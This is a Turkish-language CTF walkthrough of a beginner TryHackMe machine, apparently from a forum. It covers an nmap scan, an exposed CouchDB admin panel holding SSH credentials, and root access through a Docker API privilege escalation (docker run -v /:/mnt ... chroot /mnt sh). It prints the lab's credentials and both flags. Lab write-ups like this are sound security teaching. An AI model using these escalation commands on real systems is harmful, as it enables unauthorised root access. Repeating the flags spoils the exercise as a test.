Merhaba arkadaşlar. Bu gün THM'deki başlangıç seviye bir makinenin çözümünü göstereceğim.
İlk olarak Nmap taraması yaparak başlıyoruz.
nmap -sS -sV MakineIP
Kod:
PORT STATE SERVICE
22/tcp open ssh
5984/tcp open couchdb
2 tane portun açık olduğunu öğrenmiş olduk bunlar 22 - SSH ve 5984 — COUCHDB.
Tarayıcımızın adres çubuğuna http://makineIP:5984/ yazıyoruz ve karşımız şöyle bir sayfa çıkıyor.
/_all_dbs yazarak mevcut tüm veritabanlarını görüntüleyebilir veya doğrudan /_utils üzerindeki yönetim paneline gidebiliriz.
Tarayıcımızın adres çubuğuna http://MakineIP:5984/_utils/ yazıyoruz ve yönetim paneli karşımıza çıktı.
Bu databasede secret(gizli) adı olan bir veri var bu verinin içerisine girip ne olduğuna bakıyoruz.
Bizi a1320dd69fb4570d0a3d26df4e000be7 böyle bir şey karşılıyor ve içine giriyoruz /secret/a1320dd69fb4570d0a3d26df4e000be7
İçine girdiğimizde bize bir kullanıcı adı ve şifre veriyor (atena:t4qfzcc4qN##) bunu sisteme SSH yardımıyla bağlanırken kullanabiliriz.
Terminale gelip ssh atena@makineIP yazıyoruz ve daha sonra bizden istediği şifreyi (t4qfzcc4qN##) giriyoruz artık makineye bağlandık.
Home dizinindek user.txt dosyası var bunu cat komutuyla açıyoruz bize hedefimizi verdi (THM{1ns3cure_couchdb})
Şimdi makinede yetkimizi yükseltmemiz gerekiyor, terminale -ls -la yazıyoruz ve bize atena'nın içerisindeki dosyaları gösteriyor.
Burada .bash_history adlı bir dosya var bu dosyayı terminale cat .bash_history yazarak açıyoruz.
Kod:
cat ~/.bash_history
...
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
...
Bu, atena'nın 2375 numaralı bağlantı noktasındaki docker'a erişebileceği anlamına geliyor. GTFObin'de docker'ı aradım ve buradaki shell komutunu kullanarak yetkimi yükselttim ve root dosyasını açtım. :
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Kod:
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
THM{RCE_us1ng_Docker_API}
CTF CEVAPLARI: